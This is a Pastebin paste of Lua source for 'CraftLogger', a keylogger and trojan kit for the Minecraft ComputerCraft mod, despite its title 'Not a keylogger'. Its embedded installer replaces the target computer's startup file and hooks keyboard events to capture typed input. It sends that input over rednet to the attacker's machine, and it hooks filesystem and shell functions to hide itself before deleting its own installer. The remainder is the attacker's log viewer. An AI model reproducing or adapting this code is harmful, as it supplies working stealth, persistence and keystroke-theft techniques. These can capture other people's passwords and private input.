Advertisement
Guest User

Not a keylogger for computercraft

a guest
Jul 25th, 2014
209
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 18.86 KB | None | 0 0
  1. --[[
  2.     [Program] CraftLogger
  3.     @version 1.0
  4.     #Changelog
  5.         * Created the basics
  6.         * Now it saves id to files
  7.         * Now it doesn't error if it receives a number or nil message
  8. --]]
  9.  
  10. local w, h = term.getSize()
  11.  
  12. local logged_ids = {}
  13. local hLog = {}
  14. local data = {
  15.     viewLog = false,
  16. }
  17.  
  18. if fs.exists( "IDs.data" ) then
  19.     local file = fs.open( "IDs.data", "r" )
  20.     logged_ids = textutils.unserialize( file.readAll() )
  21. end
  22.  
  23. local height = 0
  24. for i = 2, h - 1 do
  25.     height = height + 1
  26. end
  27. local minY, maxY = 1, height/3 - 2
  28.  
  29.  
  30. for _, side in ipairs( rs.getSides() ) do
  31.     if peripheral.isPresent( side ) and peripheral.getType( side ) == "modem" then
  32.         rednet.open( side )
  33.         break
  34.     end
  35. end
  36.  
  37.  
  38. --[[ Drawing functions ]]--
  39.  
  40. --[[
  41.     @description    "Draws text at the specified position"
  42.    
  43.     @param          x,    xPosition
  44.     @param          y,    yPositon
  45.     @return         nil,
  46. --]]
  47. function drawAt(x,y,text)
  48.     term.setCursorPos(x,y)
  49.     write(text)
  50. end
  51.  
  52.  
  53. --[[
  54.     @description    "Clears the screen and sets the cursor pos to x=1, y=1"
  55.    
  56.     @return         nil,
  57. --]]
  58. function clear(bColor)
  59.     if bColor ~= nil then
  60.         term.setBackgroundColor(bColor)
  61.     end
  62.     term.clear()
  63.     term.setCursorPos(1,1)
  64. end
  65.  
  66.  
  67. --[[
  68.     @description    "Draws a box from starting value to finish values"
  69.    
  70.     @param          sX,    number
  71.     @param          fX,    number
  72.     @param          sY,    number
  73.     @param          fY,    number
  74.     @param      bColor,    color
  75.  
  76. --]]
  77. function drawBox(sX,fX,sY,fY,bColor)
  78.  
  79.     if bColor ~= nil then
  80.         term.setBackgroundColor(bColor)
  81.     else
  82.         error("nil bColor",2)
  83.     end
  84.  
  85.    
  86.         local str = ""
  87.        
  88.     for x = sX, fX do
  89.         str = str.." "
  90.     end
  91.    
  92.    for y = sY, fY do
  93.        drawAt(sX,y,str)
  94.    end
  95.    
  96. end  
  97.    
  98.  
  99. --[[
  100.     @description    "Draws a single line at the y position"
  101.    
  102.     @param          sX,    number
  103.     @param          fX,    number
  104.     @param           y,    number
  105.     @param      tColor,    color or nil
  106.     @param      bColor,    color or nil
  107.     @param          ch,    string or nil
  108. --]]
  109. function drawLine(sX,fX,y,tColor,bColor,ch)
  110.  
  111.     if ch == nil then
  112.         ch = " "
  113.     end
  114.  
  115.     if tColor ~= nil then
  116.         term.setTextColor(tColor)
  117.     end
  118.  
  119.     if bColor ~= nil then
  120.         term.setBackgroundColor(bColor)
  121.     end
  122.  
  123.         local str = ""
  124.        
  125.     for x = sX, fX do
  126.         str = str..ch
  127.     end
  128.         drawAt(sX,y,str)
  129. end
  130.  
  131.  
  132. --[[
  133.     @description    "Centers and draws text at the desired yPosition"
  134.    
  135.     @param          y,    number
  136.     @param     tColor,    color or nil
  137.     @param     bColor,    color or nil
  138.     @param       text,    string
  139. --]]
  140. function centerPrint(y,tColor,bColor,text)
  141.     if tColor ~= nil then
  142.         term.setTextColor(tColor)
  143.     end
  144.    
  145.     if bColor ~= nil then
  146.         term.setBackgroundColor(bColor)
  147.     end
  148.    
  149.     if text == nil then
  150.         error("text was nil",2)
  151.     end
  152.    
  153.         term.setCursorPos(math.ceil(w/2 - #text/2),y)
  154.         write(text)
  155. end
  156.  
  157.  
  158.  
  159.  
  160. --[[ Bars ]]--
  161.  
  162. --[[
  163.     @description    "Creates a bar with the param values"
  164.    
  165.    
  166.     @param                 sX,    number
  167.     @param                 fX,    number
  168.     @param                  y,    number
  169.     @param    currentProgress,    number
  170.     @param             maxLen,    number
  171.     @param                box,   boolean
  172.    
  173.     @return          table
  174. --]]
  175. function initBar(sX, fX, y, currentProgress, maxLen, box)
  176.     local bar = {}
  177.     bar.sX = math.ceil(sX)
  178.     bar.fX = math.ceil(fX)
  179.     bar.y  = math.ceil(y)
  180.     bar.currentProgress = currentProgress or 0
  181.     bar.maxLen = maxLen
  182.     bar.percent = (currentProgress/maxLen) * 100
  183.     bar.barWidth = 0
  184.     for i = sX,fX do
  185.         bar.barWidth = bar.barWidth + 1
  186.     end
  187.     bar.box = box or false
  188.     return bar
  189. end
  190.  
  191.  
  192. local function initScrollBar( x, sY, fY, current, max, box)
  193.     local nBar = {}
  194.     nBar.x = x
  195.     nBar.sY = sY
  196.     nBar.fY = fY
  197.     nBar.current = current or 1
  198.     nBar.max = max
  199.     nBar.box = box or false
  200.     nBar.barWidth = 0
  201.     for i = sY,fY do
  202.         nBar.barWidth = nBar.barWidth + 1
  203.     end
  204.     return nBar
  205. end
  206.  
  207. --[[
  208.     @description    "Draws the bar"
  209.    
  210.    
  211.     @param               bar,    table
  212.     @param     artProperties,    table
  213.    
  214.     @return         nil
  215. --]]
  216. function drawBar(bar,artProperties)
  217.  
  218.     local boxColor
  219.     local barColor
  220.     local barBackgroundColor
  221.     if artProperties then
  222.         boxColor = artProperties.boxColor or colors.lightGray
  223.         barColor = artProperties.barColor or colors.lime
  224.         barBackgroundColor = artProperties.barBackgroundColor or colors.gray
  225.     else
  226.         boxColor = colors.lightGray
  227.         barColor = colors.lime
  228.         barBackgroundColor = colors.gray
  229.     end
  230.    
  231.     if bar.box then
  232.         gui.drawBox(bar.sX - 1,bar.fX + 1,bar.y - 1,bar.y + 1,boxColor)
  233.     end
  234.     for i = 1, bar.barWidth do
  235.         term.setCursorPos( ( bar.sX - 1 ) + i, bar.y)
  236.         local char = ' '
  237.         if i < (( bar.currentProgress / bar.maxLen ) * bar.barWidth + 1) then
  238.                 term.setBackgroundColor( barColor )
  239.         else
  240.                 term.setBackgroundColor( barBackgroundColor )
  241.         end
  242.         write( char )
  243.     end
  244. end
  245.  
  246.  
  247. --[[
  248.     @description    "Draws the scroll-bar"
  249.    
  250.    
  251.     @param               bar,    table
  252.     @param     artProperties,    table
  253.    
  254.     @return         nil
  255. --]]
  256. function drawScrollBar(bar, artProperties)
  257.  
  258.     local boxColor
  259.     local barColor
  260.     local barBackgroundColor
  261.     if artProperties then
  262.         boxColor = artProperties.boxColor or colors.lightGray
  263.         barColor = artProperties.barColor or colors.lime
  264.         barBackgroundColor = artProperties.barBackgroundColor or colors.gray
  265.     else
  266.         boxColor = colors.lightGray
  267.         barColor = colors.lime
  268.         barBackgroundColor = colors.gray
  269.     end
  270.    
  271.     if bar.box then
  272.         gui.drawBox(bar.x - 1,bar.x + 1,bar.sY - 1,bar.sY + 1,boxColor)
  273.     end
  274.     for i = 1, bar.barWidth do
  275.         term.setCursorPos( bar.x, ( bar.sY - 1 ) + i )
  276.         local char = ' '
  277.         if i <= (( bar.current / bar.max ) * bar.barWidth + 1) then
  278.                 term.setBackgroundColor( barColor )
  279.         else
  280.                 term.setBackgroundColor( barBackgroundColor )
  281.         end
  282.         write( char )
  283.     end
  284. end
  285.    
  286.  
  287. --[[
  288.     @description    "Updates the 'bar table' with a new value for the current progress and draws it"
  289.    
  290.    
  291.     @param          newValue,    number
  292.     @param     artProperties,    table
  293.    
  294.     @return         nil
  295. --]]
  296. function updateBar(bar,newValue,artProperties)
  297.     bar.currentProgress = newValue
  298.     bar.percent = (bar.currentProgress/bar.maxLen) * 100
  299.     drawBar(bar,artProperties)
  300. end
  301.  
  302.  
  303.  
  304. --[[
  305.     @description    "Updates the 'bar table' with a new value for the current progress and draws it"
  306.    
  307.    
  308.     @param          newValue,    number
  309.     @param     artProperties,    table
  310.    
  311.     @return         nil
  312. --]]
  313. function updateScrollBar(bar,newValue,artProperties)
  314.     bar.current = newValue
  315.     bar.percent = (bar.current/bar.max) * 100
  316.     drawScrollBar(bar,artProperties)
  317. end
  318.  
  319. local function yield()
  320.     os.queueEvent("blah")
  321.     os.pullEvent("blah")
  322. end
  323.  
  324.  
  325. local function exitProgram()
  326.     term.setTextColor(colors.white)
  327.     clear( colors.black )
  328.     error()
  329. end
  330.  
  331. local function save( filename )
  332.  
  333.     clear( colors.lightGray )
  334.     local bar = initBar(w/2 - 9, w/2 + 9, h/2, 0, #hLog)
  335.     local texture = {
  336.         barColor = colors.lime,
  337.         barBackgroundColor = colors.green,
  338.     }
  339.     drawBar( bar, texture )
  340.     centerPrint( bar.y - 1, colors.black, colors.lightGray, "Initialzing..")
  341.     sleep(.15)
  342.    
  343.     local file
  344.     local create = false
  345.     if not fs.exists(filename) then
  346.         file = fs.open(filename, "w")
  347.         create = true
  348.     else
  349.         file = fs.open(filename, "a")
  350.     end
  351.     local time = textutils.formatTime( os.time() )
  352.     if create then
  353.         file.writeLine("--[[")
  354.         file.writeLine("    @CraftTrojan Log ")
  355.         file.writeLine("    @Created    " .. time .. "  Day: " .. os.day())
  356.         file.writeLine("--]]")
  357.         file.writeLine("")
  358.     end
  359.     file.writeLine("")
  360.     file.writeLine("--[[========================================]]--")
  361.     file.writeLine("@New Session")
  362.     file.writeLine("")
  363.     file.writeLine("")
  364.     for i = 1,#hLog do
  365.         clear( colors.lightGray )
  366.         centerPrint( bar.y - 1, colors.black, colors.lightGray, "Saving..")
  367.         drawBar( bar, texture )
  368.         centerPrint( bar.y + 1, colors.black, colors.lightGray, i .. "/" .. #hLog)
  369.         updateBar( bar, i, texture )
  370.         file.writeLine("@Time  " .. hLog[i].time)
  371.         file.write("     @ID  " .. hLog[i].id )
  372.         if hLog[i].label ~= nil then
  373.             file.writeLine( ", " .. hLog[i].label )
  374.         else
  375.             file.writeLine( "<No Label>" )
  376.         end
  377.         file.writeLine("     Input: " .. hLog[i].input)
  378.         if hLog[i].program ~= nil then
  379.             file.writeLine("     Program: " .. hLog[i].program)
  380.         end
  381.         file.writeLine("")
  382.         yield()
  383.     end
  384.     file.writeLine("--[[========================================]]--")
  385.     file.close()
  386.     exitProgram()
  387. end
  388.  
  389.  
  390. local function createLogger()
  391.     local code = [[
  392.  
  393.     local function createLogger( id )
  394.         local code = {
  395.             "local hID = " .. id,
  396.             "local nInfo = {}",
  397.             "",
  398.             "local function setUpTable()",
  399.             "   nInfo = {}",
  400.             "   ",
  401.             "   nInfo.program = shell.getRunningProgram()",
  402.             "   nInfo.input = ''",
  403.             "   nInfo.time = nil",
  404.             "   nInfo.id = os.getComputerID()",
  405.             "   nInfo.label = os.getComputerLabel()",
  406.             "end",
  407.             "setUpTable()",
  408.             "",
  409.             "--# Opening a modem",
  410.             "local modemAttached = false",
  411.             "for _, side in ipairs( rs.getSides() ) do",
  412.             "    if peripheral.isPresent( side ) and peripheral.getType( side ) == 'modem' then",
  413.             "       rednet.open( side )",
  414.             "       modemAttached = true",
  415.             "       break",
  416.             "   end",
  417.             "end",
  418.             "",
  419.             "if not modemAttached then",
  420.             "       if fs.exists('.startup') then",
  421.             "           shell.run('.startup')",
  422.             "       end",
  423.             "       return false",
  424.             "end",
  425.             "",
  426.             "--# Overriding os.pullEvent",
  427.             "os_pullEvent = os_pullEvent or os.pullEvent",
  428.             "os.pullEvent = function( event )",
  429.             "",
  430.             "    local evt = { os_pullEvent( event ) }",
  431.             "       if evt[1] == 'char' then",
  432.             "           nInfo.input = nInfo.input .. evt[2]",
  433.             "           ",
  434.             "       elseif evt[1] == 'key' then",
  435.             "           if evt[2] == 28 then",
  436.             "               nInfo.label = os.getComputerLabel()",
  437.             "               nInfo.program = shell.getRunningProgram()",
  438.             "               nInfo.time = textutils.formatTime( os.time() )",
  439.             "               rednet.send( hID, textutils.serialize(nInfo) )",
  440.             "               setUpTable()",
  441.             "               ",
  442.             "           elseif evt[2] == 14 then",
  443.             "               if #nInfo.input > 0 then",
  444.             "                   nInfo.input = string.sub( nInfo.input, 1, #nInfo.input - 1 )",
  445.             "               end",
  446.             "           end",
  447.             "       end",
  448.             "   return unpack( evt )",
  449.             "end",
  450.             "",
  451.             "local blocked_files = {",
  452.             "    'startup',",
  453.             "}",
  454.             "",
  455.             "local fake_files = {",
  456.             "    [1] = {",
  457.             "       real = '.startup',",
  458.             "       fake = 'startup',",
  459.             "   },",
  460.             "}",
  461.             "",
  462.             "fs_open = fs_open or fs.open",
  463.             "fs.open = function( file, mode )",
  464.             "",
  465.             "   for i = 1, #fake_files do",
  466.             "       if file == fake_files[i].fake then",
  467.             "           local handle = fs_open( fake_files[i].real, mode )",
  468.             "           return handle",
  469.             "       end",
  470.             "   end",
  471.             "    for i = 1,#blocked_files do",
  472.             "        if file == blocked_files[i] then",
  473.             "            return nil",
  474.             "        end",
  475.             "    end",
  476.             "    local handle = fs_open( file, mode )",
  477.             "    return handle",
  478.             "end",
  479.             "",
  480.             "",
  481.             "fs_getName = fs_getName or fs.getName",
  482.             "fs.getName = function( file )",
  483.             "   for i = 1, #fake_files do",
  484.             "       local fName = fs_getName( file )",
  485.             "       if fName == fake_files[i].fake then",
  486.             "           local name = fake_files[i].real",
  487.             "           return fake_files[i].real",
  488.             "       end",
  489.             "   end",
  490.             "    local name = fs_getName( file )",
  491.             "    return name    ",
  492.             "end",
  493.             "",
  494.             "",
  495.             "fs_delete = fs_delete or fs.delete",
  496.             "fs.delete = function( file )",
  497.             "   for i = 1, #fake_files do",
  498.             "       if file == fake_files[i].fake then",
  499.             "           fs_delete( fake_files[i].real )",
  500.             "           return true",
  501.             "       end",
  502.             "   end",
  503.             "   ",
  504.             "    for i = 1,#blocked_files do",
  505.             "        if file == blocked_files[i] then",
  506.             "            return false",
  507.             "        end",
  508.             "    end",
  509.             "    fs_delete( file )",
  510.             "end",
  511.             "",
  512.             "",
  513.             "fs_move = fs_move or fs.move",
  514.             "fs.move = function( file, nFile )",
  515.             "   for i = 1, #fake_files do",
  516.             "       if file == fake_files[i].fake then",
  517.             "           fs_move( fake_files[i].real, nFile )",
  518.             "           return true",
  519.             "       end",
  520.             "   end",
  521.             "    for i = 1,#blocked_files do",
  522.             "        if file == blocked_files[i] then",
  523.             "            return false",
  524.             "        end",
  525.             "    end",
  526.             "    fs_move( file, nFile )",
  527.             "end",
  528.             "",
  529.             "fs_copy = fs_copy or fs.copy",
  530.             "fs.copy = function( file, nFile )",
  531.             "   for i = 1, #fake_files do",
  532.             "       if file == fake_files[i].fake then",
  533.             "           fs_copy( fake_files[i].real, nFile )",
  534.             "           return true",
  535.             "       end",
  536.             "   end",
  537.             "    for i = 1,#blocked_files do",
  538.             "        if file == blocked_files[i] then",
  539.             "            return false",
  540.             "        end",
  541.             "    end",
  542.             "    fs_copy( file, nFile )",
  543.             "end",
  544.             "",
  545.             "fs_list = fs_list or fs.list",
  546.             "fs.list = function( path )",
  547.             "    local list = {}",
  548.             "   for _, file in ipairs( fs_list( path ) ) do",
  549.             "       local add = true",
  550.             "       for i = 1,#blocked_files do",
  551.             "           if file == blocked_files[i] then",
  552.             "               add = false",
  553.             "           end",
  554.             "       end",
  555.             "       for i = 1, #fake_files do",
  556.             "           if file == fake_files[i].real then",
  557.             "               table.insert( list, fake_files[i].fake )",
  558.             "               add = false",
  559.             "               break",
  560.             "           end",
  561.             "       end",
  562.             "       if add then",
  563.             "           table.insert( list, file )",
  564.             "       end",
  565.             "   end",
  566.             "   return list",
  567.             "end",
  568.             "",
  569.             "shell_resolve = shell_resolve or shell.resolve",
  570.             "shell.resolve = function ( file )",
  571.             "    local fName = file",
  572.             "    for i = 1, #fake_files do",
  573.             "       if file == fake_files[i].fake then",
  574.             "           fName = fake_files[i].real",
  575.             "           break",
  576.             "       end",
  577.             "   end",
  578.             "    local sPath = shell_resolve( fName )",
  579.             "   return sPath",
  580.             "end",
  581.             "",
  582.             "",
  583.             "",
  584.             "if fs.exists( '.startup' ) then",
  585.             "   shell.run( '.startup' )",
  586.             "end",
  587.             "",
  588.         }
  589.         if fs.exists( 'startup' ) then
  590.             if fs.exists( '.startup' ) then
  591.                 fs.delete( '.startup' )
  592.             end
  593.             fs.move( 'startup', '.startup' )
  594.         end
  595.         local file = fs.open( 'startup', 'w' )
  596.         for i = 1, #code do
  597.             file.writeLine( code[i] )
  598.         end
  599.         file.close()
  600.         if shell.getRunningProgram() ~= "disk/startup" then
  601.             fs.delete(shell.getRunningProgram())
  602.             os.reboot()
  603.         else
  604.             os.shutdown()
  605.         end
  606.     end
  607.     ]]
  608.    
  609.     clear( colors.black )
  610.     term.setTextColor( colors.lime )
  611.     print("Note: It's best to have the installer on \na disk drive, The file will not delete itself!\n")
  612.     write("Save installer: ")
  613.     local input = read()
  614.     local file = fs.open( input, "w" )
  615.     file.writeLine( code )
  616.     file.writeLine( "createLogger( " .. os.getComputerID() .. " )" )
  617.     file.close()
  618. end
  619.  
  620. local function addLoggedID()
  621.     clear( colors.black )
  622.     term.setTextColor( colors.lime )
  623.     write("Enter ID: ")
  624.     local input = tonumber(read())
  625.     if not tonumber( input ) then
  626.         error("Enter numbers!", 0)
  627.     end
  628.    
  629.     if fs.exists( "IDs.data" ) then
  630.         local file = fs.open( "IDs.data", "r" )
  631.         logged_ids = textutils.unserialize( file.readAll() )
  632.         file.close()
  633.     end    
  634.    
  635.     table.insert( logged_ids, input )
  636.     local file = fs.open( "IDs.data", "w" )
  637.     file.writeLine( textutils.serialize( logged_ids ) )
  638.     file.close()
  639.  
  640. end
  641.  
  642.  
  643.  
  644. local function changeData( var, nValue )
  645.     if var == "viewLog" then
  646.         data.viewLog = nValue
  647.     end
  648. end
  649.  
  650. local buttons = {
  651.     [1] = {
  652.         name = " View Log ",
  653.         func = changeData,
  654.         ["args"] = {
  655.             "viewLog",
  656.             true,
  657.         },
  658.     },
  659.    
  660.     [2] = {
  661.         name = " Save & Exit ",
  662.         func = save,
  663.         ["args"] = {
  664.             "Log.txt",
  665.         },
  666.     },
  667.    
  668.     [3] = {
  669.         name = " Create Logger ",
  670.         func = createLogger,
  671.         ["args"] = {},
  672.     },
  673.    
  674.     [4] = {
  675.         name = " Add logged ID ",
  676.         func = addLoggedID,
  677.         ["args"] = {},
  678.     },
  679.    
  680.     [5] = {
  681.         name = " Exit ",
  682.         func = exitProgram,
  683.         ["args"] = {},
  684.     },
  685. }
  686.  
  687.  
  688. local function draw()
  689.     term.setBackgroundColor( colors.gray )
  690.     term.clear()
  691.     if not data.viewLog then
  692.         centerPrint( 2, colors.lime, colors.gray, "CraftLogger" )
  693.         term.setTextColor( colors.lime )
  694.         term.setBackgroundColor( colors.black )
  695.         local oX = 0
  696.         for i = 1,#buttons do
  697.             term.setCursorPos(math.ceil(w/2 - #buttons[i].name/2), 5 + i + oX)
  698.             buttons[i].sX = math.ceil(w/2 - #buttons[i].name/2)
  699.             buttons[i].fX = math.ceil(w/2 + #buttons[i].name/2)
  700.             buttons[i].y = 5 + i + oX
  701.             write( buttons[i].name )
  702.             oX = oX + 1
  703.         end
  704.     else
  705.         local sBar = initScrollBar( w, 1, h, 1, #hLog)
  706.        
  707.         clear( colors.black )
  708.         drawLine( 1, w, 1, nil, colors.green )
  709.         centerPrint(1, colors.lime,colors.green,"@CraftTrojan Log")
  710.         drawAt( 2, 1, "x" )
  711.         term.setCursorPos( 1, 3 )
  712.         term.setBackgroundColor( colors.black )
  713.         term.setTextColor( colors.lime )
  714.         for i = minY, maxY do
  715.             if i == 1 then
  716.                 print("@New Session\n")
  717.             end
  718.             if #hLog ~= 0 then
  719.                 if i > #hLog then
  720.                     break
  721.                 end
  722.                 print( "@Time  " .. hLog[i].time )
  723.                 write( "     @ID  " .. hLog[i].id )
  724.                 if hLog[i].label ~= nil then
  725.                     print( ", " .. hLog[i].label )
  726.                 else
  727.                     print( ", <No Label>" )
  728.                 end
  729.                 print( "     Input: " .. hLog[i].input )
  730.                 if hLog[i].program ~= nil then
  731.                     print( "     Program: " .. hLog[i].program )
  732.                 end
  733.                 print("")
  734.             end
  735.         end
  736.         updateScrollBar( sBar, maxY,{ barColor = colors.gray, barBackgroundColor = colors.lightGray} )
  737.     end
  738. end
  739.  
  740.  
  741.  
  742.    
  743.  
  744. while true do
  745.     draw()
  746.     local evt = {os.pullEvent()}
  747.     if evt[1] == "rednet_message" then
  748.         for i = 1, #logged_ids do
  749.             if evt[2] == logged_ids[i] then
  750.                 if evt[3] ~= nil then
  751.                     if textutils.unserialize(evt[3]) then
  752.                         if type( evt[3] ) ~= "number" then
  753.                             local check = textutils.unserialize(evt[3])
  754.                             if check.input ~= nil then
  755.                                 if check.input ~= "" then
  756.                                     table.insert(hLog, textutils.unserialize(evt[3]) )
  757.                                     hLog[#hLog].id = evt[2]
  758.                                     break
  759.                                 end
  760.                             end
  761.                         end
  762.                     end
  763.                 end
  764.             end
  765.         end
  766.    
  767.     elseif evt[1] == "key" then
  768.         if evt[2] == 29 then
  769.             data.viewLog = false
  770.         end
  771.        
  772.     elseif evt[1] == "mouse_click" then
  773.         if not data.viewLog then
  774.             for i = 1,#buttons do
  775.                 if evt[3] >= buttons[i].sX and evt[3] <= buttons[i].fX and evt[4] == buttons[i].y then
  776.                     term.setBackgroundColor( colors.green ) term.setTextColor( colors.lime ) drawAt( buttons[i].sX, buttons[i].y, buttons[i].name )
  777.                     sleep( .15 )
  778.                     local func = buttons[i].func
  779.                     func( unpack(buttons[i].args) )
  780.                     break
  781.                 end
  782.             end
  783.         else
  784.             if evt[3] == 2 and evt[4] == 1 then
  785.                 data.viewLog = false
  786.             end
  787.         end
  788.        
  789.     elseif evt[1] == "mouse_scroll" then
  790.         if evt[2] == -1 then
  791.             if minY > 1 then
  792.                 minY = minY - 1
  793.                 maxY = maxY - 1
  794.             end
  795.        
  796.         elseif evt[2] == 1 then
  797.             if maxY < #hLog then
  798.                 minY = minY + 1
  799.                 maxY = maxY + 1
  800.             end
  801.         end
  802.     end
  803. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement